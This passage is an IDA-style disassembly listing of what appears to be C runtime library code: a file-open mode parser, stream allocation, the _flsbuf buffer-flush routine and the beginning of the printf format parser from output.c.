		mov	ecx, [ebp+var_24]
		xor	eax, eax
		mov	al, ds:byte_424865[ecx]
		jmp	ds:off_42483D[eax*4]


loc_42466B:				; DATA XREF: seg000:off_42483Do
		mov	edx, [ebp+var_14]
		and	edx, 2
		test	edx, edx
		jz	short loc_42467E
		mov	[ebp+var_4], 0
		jmp	short loc_4246A0
; ---------------------------------------------------------------------------


loc_42467E:				; CODE XREF: sub_424520+153j
		mov	eax, [ebp+var_14]
		or	al, 2
		mov	[ebp+var_14], eax
		mov	ecx, [ebp+var_14]
		and	ecx, 0FFFFFFFEh
		mov	[ebp+var_14], ecx
		mov	edx, [ebp+var_1C]
		or	dl, 80h
		mov	[ebp+var_1C], edx
		mov	eax, [ebp+var_1C]
		and	al, 0FCh
		mov	[ebp+var_1C], eax


loc_4246A0:				; CODE XREF: sub_424520+15Cj
		jmp	loc_4247BA
; ---------------------------------------------------------------------------


loc_4246A5:				; CODE XREF: sub_424520+144j
					; DATA XREF: seg000:00424851o
		mov	ecx, [ebp+var_14]
		and	ecx, 0C000h
		test	ecx, ecx
		jz	short loc_4246BB
		mov	[ebp+var_4], 0
		jmp	short loc_4246C4
; ---------------------------------------------------------------------------


loc_4246BB:				; CODE XREF: sub_424520+190j
		mov	edx, [ebp+var_14]
		or	dh, 80h
		mov	[ebp+var_14], edx


loc_4246C4:				; CODE XREF: sub_424520+199j
		jmp	loc_4247BA
; ---------------------------------------------------------------------------


loc_4246C9:				; CODE XREF: sub_424520+144j
					; DATA XREF: seg000:0042485Do
		mov	eax, [ebp+var_14]
		and	eax, 0C000h
		test	eax, eax
		jz	short loc_4246DE
		mov	[ebp+var_4], 0
		jmp	short loc_4246E7
; ---------------------------------------------------------------------------


loc_4246DE:				; CODE XREF: sub_424520+1B3j
		mov	ecx, [ebp+var_14]
		or	ch, 40h
		mov	[ebp+var_14], ecx


loc_4246E7:				; CODE XREF: sub_424520+1BCj
		jmp	loc_4247BA
; ---------------------------------------------------------------------------


loc_4246EC:				; CODE XREF: sub_424520+144j
					; DATA XREF: seg000:00424855o
		cmp	[ebp+var_18], 0
		jz	short loc_4246FB
		mov	[ebp+var_4], 0
		jmp	short loc_42470B
; ---------------------------------------------------------------------------


loc_4246FB:				; CODE XREF: sub_424520+1D0j
		mov	[ebp+var_18], 1
		mov	edx, [ebp+var_1C]
		or	dh, 40h
		mov	[ebp+var_1C], edx


loc_42470B:				; CODE XREF: sub_424520+1D9j
		jmp	loc_4247BA
; ---------------------------------------------------------------------------


loc_424710:				; CODE XREF: sub_424520+144j
					; DATA XREF: seg000:00424859o
		cmp	[ebp+var_18], 0
		jz	short loc_42471F
		mov	[ebp+var_4], 0
		jmp	short loc_42472F
; ---------------------------------------------------------------------------


loc_42471F:				; CODE XREF: sub_424520+1F4j
		mov	[ebp+var_18], 1
		mov	eax, [ebp+var_1C]
		and	ah, 0BFh
		mov	[ebp+var_1C], eax


loc_42472F:				; CODE XREF: sub_424520+1FDj
		jmp	loc_4247BA
; ---------------------------------------------------------------------------


loc_424734:				; CODE XREF: sub_424520+144j
					; DATA XREF: seg000:00424849o
		cmp	[ebp+var_10], 0
		jz	short loc_424743
		mov	[ebp+var_4], 0
		jmp	short loc_424753
; ---------------------------------------------------------------------------


loc_424743:				; CODE XREF: sub_424520+218j
		mov	[ebp+var_10], 1
		mov	ecx, [ebp+var_14]
		or	ecx, 20h
		mov	[ebp+var_14], ecx


loc_424753:				; CODE XREF: sub_424520+221j
		jmp	short loc_4247BA
; ---------------------------------------------------------------------------


loc_424755:				; CODE XREF: sub_424520+144j
					; DATA XREF: seg000:00424845o
		cmp	[ebp+var_10], 0
		jz	short loc_424764
		mov	[ebp+var_4], 0
		jmp	short loc_424774
; ---------------------------------------------------------------------------


loc_424764:				; CODE XREF: sub_424520+239j
		mov	[ebp+var_10], 1
		mov	edx, [ebp+var_14]
		or	edx, 10h
		mov	[ebp+var_14], edx


loc_424774:				; CODE XREF: sub_424520+242j
		jmp	short loc_4247BA
; ---------------------------------------------------------------------------


loc_424776:				; CODE XREF: sub_424520+144j
					; DATA XREF: seg000:0042484Do
		mov	eax, [ebp+var_14]
		and	eax, 1000h
		test	eax, eax
		jz	short loc_42478B
		mov	[ebp+var_4], 0
		jmp	short loc_424794
; ---------------------------------------------------------------------------


loc_42478B:				; CODE XREF: sub_424520+260j
		mov	ecx, [ebp+var_14]
		or	ch, 10h
		mov	[ebp+var_14], ecx


loc_424794:				; CODE XREF: sub_424520+269j
		jmp	short loc_4247BA
; ---------------------------------------------------------------------------


loc_424796:				; CODE XREF: sub_424520+144j
					; DATA XREF: seg000:00424841o
		mov	edx, [ebp+var_14]
		and	edx, 40h
		test	edx, edx
		jz	short loc_4247A9
		mov	[ebp+var_4], 0
		jmp	short loc_4247B1
; ---------------------------------------------------------------------------


loc_4247A9:				; CODE XREF: sub_424520+27Ej
		mov	eax, [ebp+var_14]
		or	al, 40h
		mov	[ebp+var_14], eax


loc_4247B1:				; CODE XREF: sub_424520+287j
		jmp	short loc_4247BA
; ---------------------------------------------------------------------------


loc_4247B3:				; CODE XREF: sub_424520+133j
					; sub_424520+144j
					; DATA XREF: ...
		mov	[ebp+var_4], 0


loc_4247BA:				; CODE XREF: sub_424520:loc_4246A0j
					; sub_424520:loc_4246C4j ...
		jmp	loc_42461C
; ---------------------------------------------------------------------------


loc_4247BF:				; CODE XREF: sub_424520+10Dj
					; sub_424520+117j
		push	1A4h
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+var_14]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42E310
		add	esp, 10h
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jge	short loc_4247E5
		xor	eax, eax
		jmp	short loc_424836
; ---------------------------------------------------------------------------


loc_4247E5:				; CODE XREF: sub_424520+2BFj
		mov	ecx, ds:dword_4EE9C8
		add	ecx, 1
		mov	ds:dword_4EE9C8, ecx
		mov	edx, [ebp+arg_C]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_1C]
		mov	[eax+0Ch], ecx
		mov	edx, [ebp+var_C]
		mov	dword ptr [edx+4], 0
		mov	eax, [ebp+var_C]
		mov	dword ptr [eax], 0
		mov	ecx, [ebp+var_C]
		mov	dword ptr [ecx+8], 0
		mov	edx, [ebp+var_C]
		mov	dword ptr [edx+1Ch], 0
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_8]
		mov	[eax+10h], ecx
		mov	eax, [ebp+var_C]


loc_424836:				; CODE XREF: sub_424520+F0j
					; sub_424520+2C3j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_424520	endp

; ---------------------------------------------------------------------------
off_42483D	dd offset loc_42466B	; DATA XREF: sub_424520+144r
		dd offset loc_424796
		dd offset loc_424755
		dd offset loc_424734
		dd offset loc_424776
		dd offset loc_4246A5
		dd offset loc_4246EC
		dd offset loc_424710
		dd offset loc_4246C9
		dd offset loc_4247B3
byte_424865	db 0			; DATA XREF: sub_424520+13Er
		dw 909h
		dd 5 dup(9090909h), 9010909h, 3	dup(9090909h), 9040302h
		dd 3 dup(9090909h), 9090605h, 2	dup(9090909h), 9090907h
		dd 0CC080909h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4248B0	proc near		; CODE XREF: sub_41CFE0+B9p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], 0
		push	2
		call	sub_421A80
		add	esp, 4
		mov	[ebp+var_4], 0
		jmp	short loc_4248D9
; ---------------------------------------------------------------------------


loc_4248D0:				; CODE XREF: sub_4248B0+A8j
					; sub_4248B0:loc_4249D9j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_4248D9:				; CODE XREF: sub_4248B0+1Ej
		mov	ecx, [ebp+var_4]
		cmp	ecx, ds:dword_4F0080
		jge	loc_4249DE
		mov	edx, [ebp+var_4]
		mov	eax, ds:dword_4EF06C
		cmp	dword ptr [eax+edx*4], 0
		jz	short loc_42496F
		mov	ecx, [ebp+var_4]
		mov	edx, ds:dword_4EF06C
		mov	eax, [edx+ecx*4]
		mov	ecx, [eax+0Ch]
		and	ecx, 83h
		test	ecx, ecx
		jnz	short loc_42496D
		mov	edx, [ebp+var_4]
		mov	eax, ds:dword_4EF06C
		mov	ecx, [eax+edx*4]
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_41F0B0
		add	esp, 8
		mov	eax, [ebp+var_4]
		mov	ecx, ds:dword_4EF06C
		mov	edx, [ecx+eax*4]
		mov	eax, [edx+0Ch]
		and	eax, 83h
		test	eax, eax
		jz	short loc_42495D
		mov	ecx, [ebp+var_4]
		mov	edx, ds:dword_4EF06C
		mov	eax, [edx+ecx*4]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_41F120
		add	esp, 8
		jmp	loc_4248D0
; ---------------------------------------------------------------------------


loc_42495D:				; CODE XREF: sub_4248B0+8Dj
		mov	edx, [ebp+var_4]
		mov	eax, ds:dword_4EF06C
		mov	ecx, [eax+edx*4]
		mov	[ebp+var_8], ecx
		jmp	short loc_4249DE
; ---------------------------------------------------------------------------


loc_42496D:				; CODE XREF: sub_4248B0+5Dj
		jmp	short loc_4249D9
; ---------------------------------------------------------------------------


loc_42496F:				; CODE XREF: sub_4248B0+44j
		push	55h
		push	offset aStream_c ; "stream.c"
		push	2
		push	38h
		call	sub_41AE60
		add	esp, 10h
		mov	edx, [ebp+var_4]
		mov	ecx, ds:dword_4EF06C
		mov	[ecx+edx*4], eax
		mov	edx, [ebp+var_4]
		mov	eax, ds:dword_4EF06C
		cmp	dword ptr [eax+edx*4], 0
		jz	short loc_4249D7
		mov	ecx, [ebp+var_4]
		mov	edx, ds:dword_4EF06C
		mov	eax, [edx+ecx*4]
		add	eax, 20h
		push	eax
		call	ds:dword_4F1444	; InitializeCriticalSection
		mov	ecx, [ebp+var_4]
		mov	edx, ds:dword_4EF06C
		mov	eax, [edx+ecx*4]
		add	eax, 20h
		push	eax
		call	ds:dword_4F1364	; RtlEnterCriticalSection
		mov	ecx, [ebp+var_4]
		mov	edx, ds:dword_4EF06C
		mov	eax, [edx+ecx*4]
		mov	[ebp+var_8], eax


loc_4249D7:				; CODE XREF: sub_4248B0+EAj
		jmp	short loc_4249DE
; ---------------------------------------------------------------------------


loc_4249D9:				; CODE XREF: sub_4248B0:loc_42496Dj
		jmp	loc_4248D0
; ---------------------------------------------------------------------------


loc_4249DE:				; CODE XREF: sub_4248B0+32j
					; sub_4248B0+BBj ...
		cmp	[ebp+var_8], 0
		jz	short loc_424A1F
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx+0Ch], 0
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+8], 0
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx], 0
		mov	edx, [ebp+var_8]
		mov	dword ptr [edx+1Ch], 0
		mov	eax, [ebp+var_8]
		mov	dword ptr [eax+10h], 0FFFFFFFFh


loc_424A1F:				; CODE XREF: sub_4248B0+132j
		push	2
		call	sub_421B20
		add	esp, 4
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_4248B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424A30	proc near		; CODE XREF: sub_41D160+DEp
					; sub_41D260+E5p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi


loc_424A39:				; CODE XREF: sub_424A30+31j
		cmp	[ebp+arg_4], 0
		jnz	short loc_424A5D
		push	offset dword_4394FC
		push	0
		push	69h
		push	offset a_flsbuf_c ; "_flsbuf.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_424A5D
		int	3		; Trap to Debugger


loc_424A5D:				; CODE XREF: sub_424A30+Dj
					; sub_424A30+2Aj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_424A39
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx+10h]
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		and	edx, 82h
		test	edx, edx
		jz	short loc_424A8F
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0Ch]
		and	ecx, 40h
		test	ecx, ecx
		jz	short loc_424AA5


loc_424A8F:				; CODE XREF: sub_424A30+50j
		mov	edx, [ebp+var_8]
		mov	eax, [edx+0Ch]
		or	al, 20h
		mov	ecx, [ebp+var_8]
		mov	[ecx+0Ch], eax
		or	eax, 0FFFFFFFFh
		jmp	loc_424C9D
; ---------------------------------------------------------------------------


loc_424AA5:				; CODE XREF: sub_424A30+5Dj
		mov	edx, [ebp+var_8]
		mov	eax, [edx+0Ch]
		and	eax, 1
		test	eax, eax
		jz	short loc_424AFC
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+4], 0
		mov	edx, [ebp+var_8]
		mov	eax, [edx+0Ch]
		and	eax, 10h
		test	eax, eax
		jz	short loc_424AE5
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_8]
		mov	eax, [edx+8]
		mov	[ecx], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		and	edx, 0FFFFFFFEh
		mov	eax, [ebp+var_8]
		mov	[eax+0Ch], edx
		jmp	short loc_424AFC
; ---------------------------------------------------------------------------


loc_424AE5:				; CODE XREF: sub_424A30+97j
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		or	edx, 20h
		mov	eax, [ebp+var_8]
		mov	[eax+0Ch], edx
		or	eax, 0FFFFFFFFh
		jmp	loc_424C9D
; ---------------------------------------------------------------------------


loc_424AFC:				; CODE XREF: sub_424A30+80j
					; sub_424A30+B3j
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		or	edx, 2
		mov	eax, [ebp+var_8]
		mov	[eax+0Ch], edx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		and	edx, 0FFFFFFEFh
		mov	eax, [ebp+var_8]
		mov	[eax+0Ch], edx
		mov	ecx, [ebp+var_8]
		mov	dword ptr [ecx+4], 0
		mov	[ebp+var_4], 0
		mov	edx, [ebp+var_4]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0Ch]
		and	ecx, 10Ch
		test	ecx, ecx
		jnz	short loc_424B6F
		cmp	[ebp+var_8], offset dword_44FA90
		jz	short loc_424B53
		cmp	[ebp+var_8], offset dword_44FAB0
		jnz	short loc_424B63


loc_424B53:				; CODE XREF: sub_424A30+118j
		mov	edx, [ebp+var_10]
		push	edx
		call	sub_42E870
		add	esp, 4
		test	eax, eax
		jnz	short loc_424B6F


loc_424B63:				; CODE XREF: sub_424A30+121j
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_42E200
		add	esp, 4


loc_424B6F:				; CODE XREF: sub_424A30+10Fj
					; sub_424A30+131j
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		and	edx, 108h
		test	edx, edx
		jz	loc_424C5B


loc_424B83:				; CODE XREF: sub_424A30+187j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_8]
		mov	edx, [eax]
		sub	edx, [ecx+8]
		test	edx, edx
		jge	short loc_424BB3
		push	offset aInconsistentIo ; "(\"inconsistent IOB fields\",	stream->_pt"...
		push	0
		push	0A0h
		push	offset a_flsbuf_c ; "_flsbuf.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_424BB3
		int	3		; Trap to Debugger


loc_424BB3:				; CODE XREF: sub_424A30+160j
					; sub_424A30+180j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_424B83
		mov	ecx, [ebp+var_8]
		mov	edx, [ebp+var_8]
		mov	eax, [ecx]
		sub	eax, [edx+8]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+8]
		add	edx, 1
		mov	eax, [ebp+var_8]
		mov	[eax], edx
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+18h]
		sub	edx, 1
		mov	eax, [ebp+var_8]
		mov	[eax+4], edx
		cmp	[ebp+var_4], 0
		jle	short loc_424C06
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+var_8]
		mov	eax, [edx+8]
		push	eax
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_42DD30
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		jmp	short loc_424C4E
; ---------------------------------------------------------------------------


loc_424C06:				; CODE XREF: sub_424A30+1B8j
		cmp	[ebp+var_10], 0FFFFFFFFh
		jz	short loc_424C29
		mov	edx, [ebp+var_10]
		sar	edx, 5
		mov	eax, [ebp+var_10]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, ds:dword_4EED20[edx*4]
		add	ecx, eax
		mov	[ebp+var_14], ecx
		jmp	short loc_424C30
; ---------------------------------------------------------------------------


loc_424C29:				; CODE XREF: sub_424A30+1DAj
		mov	[ebp+var_14], offset dword_4502B8


loc_424C30:				; CODE XREF: sub_424A30+1F7j
		mov	edx, [ebp+var_14]
		movsx	eax, byte ptr [edx+4]
		and	eax, 20h
		test	eax, eax
		jz	short loc_424C4E
		push	2
		push	0
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_42B6E0
		add	esp, 0Ch


loc_424C4E:				; CODE XREF: sub_424A30+1D4j
					; sub_424A30+20Cj
		mov	edx, [ebp+var_8]
		mov	eax, [edx+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_424C79
; ---------------------------------------------------------------------------


loc_424C5B:				; CODE XREF: sub_424A30+14Dj
		mov	[ebp+var_4], 1
		mov	edx, [ebp+var_4]
		push	edx
		lea	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_10]
		push	ecx
		call	sub_42DD30
		add	esp, 0Ch
		mov	[ebp+var_C], eax


loc_424C79:				; CODE XREF: sub_424A30+229j
		mov	edx, [ebp+var_C]
		cmp	edx, [ebp+var_4]
		jz	short loc_424C95
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+0Ch]
		or	ecx, 20h
		mov	edx, [ebp+var_8]
		mov	[edx+0Ch], ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_424C9D
; ---------------------------------------------------------------------------


loc_424C95:				; CODE XREF: sub_424A30+24Fj
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh


loc_424C9D:				; CODE XREF: sub_424A30+70j
					; sub_424A30+C7j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_424A30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424CB0	proc near		; CODE XREF: sub_41D160+93p
					; sub_41D260+9Ap ...

var_2A6		= word ptr -2A6h
var_2A4		= dword	ptr -2A4h
var_2A0		= dword	ptr -2A0h
var_29C		= dword	ptr -29Ch
var_298		= dword	ptr -298h
var_294		= dword	ptr -294h
var_290		= dword	ptr -290h
var_28C		= dword	ptr -28Ch
var_288		= byte ptr -288h
var_284		= dword	ptr -284h
var_280		= dword	ptr -280h
var_27C		= dword	ptr -27Ch
var_278		= dword	ptr -278h
var_274		= dword	ptr -274h
var_270		= dword	ptr -270h
var_26C		= dword	ptr -26Ch
var_268		= dword	ptr -268h
var_264		= dword	ptr -264h
var_260		= dword	ptr -260h
var_25C		= dword	ptr -25Ch
var_258		= dword	ptr -258h
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= word ptr -248h
var_244		= dword	ptr -244h
var_240		= byte ptr -240h
var_23F		= byte ptr -23Fh
var_23C		= dword	ptr -23Ch
var_238		= dword	ptr -238h
var_234		= dword	ptr -234h
var_230		= dword	ptr -230h
var_22C		= dword	ptr -22Ch
var_228		= byte ptr -228h
var_29		= byte ptr -29h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2A8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_24], 0
		mov	[ebp+var_22C], 0
		mov	[ebp+var_18], 0


loc_424CD4:				; CODE XREF: sub_424CB0:loc_4258C2j
		mov	eax, [ebp+arg_4]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_28], cl
		movsx	edx, byte ptr [ebp+var_28]
		mov	eax, [ebp+arg_4]
		add	eax, 1
		mov	[ebp+arg_4], eax
		test	edx, edx
		jz	loc_4258C7
		cmp	[ebp+var_22C], 0
		jl	loc_4258C7
		movsx	ecx, byte ptr [ebp+var_28]
		cmp	ecx, 20h
		jl	short loc_424D26
		movsx	edx, byte ptr [ebp+var_28]
		cmp	edx, 78h
		jg	short loc_424D26
		movsx	eax, byte ptr [ebp+var_28]
		movsx	ecx, byte ptr [eax+439FE0h]
		and	ecx, 0Fh
		mov	[ebp+var_290], ecx
		jmp	short loc_424D30
; ---------------------------------------------------------------------------


loc_424D26:				; CODE XREF: sub_424CB0+55j
					; sub_424CB0+5Ej
		mov	[ebp+var_290], 0


loc_424D30:				; CODE XREF: sub_424CB0+74j
		mov	edx, [ebp+var_290]
		mov	[ebp+var_C], edx
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_18]
		movsx	edx, ds:byte_43A000[ecx+eax*8]
		sar	edx, 4
		mov	[ebp+var_18], edx
		mov	eax, [ebp+var_18]
		mov	[ebp+var_294], eax
		cmp	[ebp+var_294], 7
		ja	loc_4258C2
		mov	ecx, [ebp+var_294]
		jmp	ds:off_4258D4[ecx*4]


loc_424D70:				; CODE XREF: sub_424CB0+332j
					; DATA XREF: seg000:off_4258D4o
		mov	[ebp+var_1C], 0
		mov	edx, [ebp+var_28]
		and	edx, 0FFh
		mov	eax, ds:off_44FE2C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 8000h
		test	ecx, ecx
		jz	short loc_424DED
		lea	edx, [ebp+var_22C]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		movsx	ecx, byte ptr [ebp+var_28]
		push	ecx
		call	sub_4259E0
		add	esp, 0Ch
		mov	edx, [ebp+arg_4]
		mov	al, [edx]
		mov	byte ptr [ebp+var_28], al
		mov	ecx, [ebp+arg_4]
		add	ecx, 1
		mov	[ebp+arg_4], ecx


loc_424DBE:				; CODE XREF: sub_424CB0+13Bj
		movsx	edx, byte ptr [ebp+var_28]
		test	edx, edx
		jnz	short loc_424DE7
		push	offset aCh_t0	; "ch != _T('\\0')"
		push	0
		push	186h
		push	offset aOutput_c ; "output.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_424DE7
		int	3		; Trap to Debugger


loc_424DE7:				; CODE XREF: sub_424CB0+114j
					; sub_424CB0+134j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_424DBE


loc_424DED:				; CODE XREF: sub_424CB0+E3j
		lea	ecx, [ebp+var_22C]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		movsx	eax, byte ptr [ebp+var_28]
		push	eax
		call	sub_4259E0
		add	esp, 0Ch
		jmp	loc_4258C2
; ---------------------------------------------------------------------------


loc_424E0A:				; CODE XREF: sub_424CB0+B9j
					; DATA XREF: seg000:004258D8o
		mov	[ebp+var_8], 0
		mov	ecx, [ebp+var_8]
		mov	[ebp+var_23C], ecx
		mov	edx, [ebp+var_23C]
		mov	[ebp+var_244], edx
		mov	eax, [ebp+var_244]
		mov	[ebp+var_10], eax
		mov	[ebp+var_4], 0
		mov	[ebp+var_234], 0FFFFFFFFh
		mov	[ebp+var_1C], 0
		jmp	loc_4258C2
; ---------------------------------------------------------------------------


loc_424E4C:				; CODE XREF: sub_424CB0+B9j
					; DATA XREF: seg000:004258DCo
		movsx	ecx, byte ptr [ebp+var_28]
		mov	[ebp+var_298], ecx
		mov	edx, [ebp+var_298]
		sub	edx, 20h
		mov	[ebp+var_298], edx
		cmp	[ebp+var_298], 10h
		ja	short loc_424EB6
		mov	ecx, [ebp+var_298]
		xor	eax, eax
		mov	al, ds:byte_42590C[ecx]
		jmp	ds:off_4258F4[eax*4]


loc_424E83:				; CODE XREF: sub_424CB0+B9j
					; DATA XREF: seg000:00425900o
		mov	edx, [ebp+var_4]
		or	edx, 4
		mov	[ebp+var_4], edx
		jmp	short loc_424EB6
; ---------------------------------------------------------------------------


loc_424E8E:				; CODE XREF: sub_424CB0+B9j
					; sub_424CB0+1CCj
					; DATA XREF: ...
		mov	eax, [ebp+var_4]
		or	al, 1
		mov	[ebp+var_4], eax
		jmp	short loc_424EB6
; ---------------------------------------------------------------------------


loc_424E98:				; CODE XREF: sub_424CB0+B9j
					; sub_424CB0+1CCj
					; DATA XREF: ...
		mov	ecx, [ebp+var_4]
		or	ecx, 2
		mov	[ebp+var_4], ecx
		jmp	short loc_424EB6
; ---------------------------------------------------------------------------


loc_424EA3:				; CODE XREF: sub_424CB0+B9j
					; sub_424CB0+1CCj
					; DATA XREF: ...
		mov	edx, [ebp+var_4]
		or	dl, 80h
		mov	[ebp+var_4], edx
		jmp	short loc_424EB6
; ---------------------------------------------------------------------------


loc_424EAE:				; CODE XREF: sub_424CB0+B9j
					; sub_424CB0+1CCj
					; DATA XREF: ...
		mov	eax, [ebp+var_4]
		or	al, 8
		mov	[ebp+var_4], eax


loc_424EB6:				; CODE XREF: sub_424CB0+B9j
					; sub_424CB0+1BCj ...
		jmp	loc_4258C2
; ---------------------------------------------------------------------------


loc_424EBB:				; CODE XREF: sub_424CB0+B9j
					; DATA XREF: seg000:004258E0o
		movsx	ecx, byte ptr [ebp+var_28]
		cmp	ecx, 2Ah
		jnz	short loc_424EF7
		lea	edx, [ebp+arg_8]
		push	edx
		call	sub_425AF0
		add	esp, 4
		mov	[ebp+var_244], eax
		cmp	[ebp+var_244], 0
		jge	short loc_424EF5
		mov	eax, [ebp+var_4]
		or	al, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_244]
		neg	ecx
		mov	[ebp+var_244], ecx


loc_424EF5:				; CODE XREF: sub_424CB0+22Dj
		jmp	short loc_424F0E
; ---------------------------------------------------------------------------


loc_424EF7:				; CODE XREF: sub_424CB0+212j
		mov	edx, [ebp+var_244]
		imul	edx, 0Ah
		movsx	eax, byte ptr [ebp+var_28]
		lea	ecx, [edx+eax-30h]
		mov	[ebp+var_244], ecx


loc_424F0E:				; CODE XREF: sub_424CB0:loc_424EF5j
		jmp	loc_4258C2
; ---------------------------------------------------------------------------


loc_424F13:				; CODE XREF: sub_424CB0+B9j
					; DATA XREF: seg000:004258E4o
		mov	[ebp+var_234], 0
		jmp	loc_4258C2
; ---------------------------------------------------------------------------


loc_424F22:				; CODE XREF: sub_424CB0+B9j
					; DATA XREF: seg000:004258E8o
		movsx	edx, byte ptr [ebp+var_28]
		cmp	edx, 2Ah
		jnz	short loc_424F52
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_425AF0
		add	esp, 4
		mov	[ebp+var_234], eax
		cmp	[ebp+var_234], 0
		jge	short loc_424F50
		mov	[ebp+var_234], 0FFFFFFFFh


loc_424F50:				; CODE XREF: sub_424CB0+294j
		jmp	short loc_424F69
; ---------------------------------------------------------------------------


loc_424F52:				; CODE XREF: sub_424CB0+279j
		mov	ecx, [ebp+var_234]
		imul	ecx, 0Ah
		movsx	edx, byte ptr [ebp+var_28]
		lea	eax, [ecx+edx-30h]
		mov	[ebp+var_234], eax


loc_424F69:				; CODE XREF: sub_424CB0:loc_424F50j
		jmp	loc_4258C2
; ---------------------------------------------------------------------------


loc_424F6E:				; CODE XREF: sub_424CB0+B9j
					; DATA XREF: seg000:004258ECo
		movsx	ecx, byte ptr [ebp+var_28]
		mov	[ebp+var_29C], ecx
		mov	edx, [ebp+var_29C]
		sub	edx, 49h
		mov	[ebp+var_29C], edx
		cmp	[ebp+var_29C], 2Eh
		ja	short loc_424FFC
		mov	ecx, [ebp+var_29C]
		xor	eax, eax
		mov	al, ds:byte_425931[ecx]
		jmp	ds:off_42591D[eax*4]


loc_424FA5:				; DATA XREF: seg000:00425925o
		mov	edx, [ebp+var_4]
		or	edx, 10h
		mov	[ebp+var_4], edx
		jmp	short loc_424FFC
; ---------------------------------------------------------------------------


loc_424FB0:				; CODE XREF: sub_424CB0+2EEj
					; DATA XREF: seg000:off_42591Do
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 36h
		jnz	short loc_424FDB
		mov	edx, [ebp+arg_4]
		movsx	eax, byte ptr [edx+1]
		cmp	eax, 34h
		jnz	short loc_424FDB
		mov	ecx, [ebp+arg_4]
		add	ecx, 2
		mov	[ebp+arg_4], ecx
		mov	edx, [ebp+var_4]
		or	dh, 80h
		mov	[ebp+var_4], edx
		jmp	short loc_424FE7
; ---------------------------------------------------------------------------


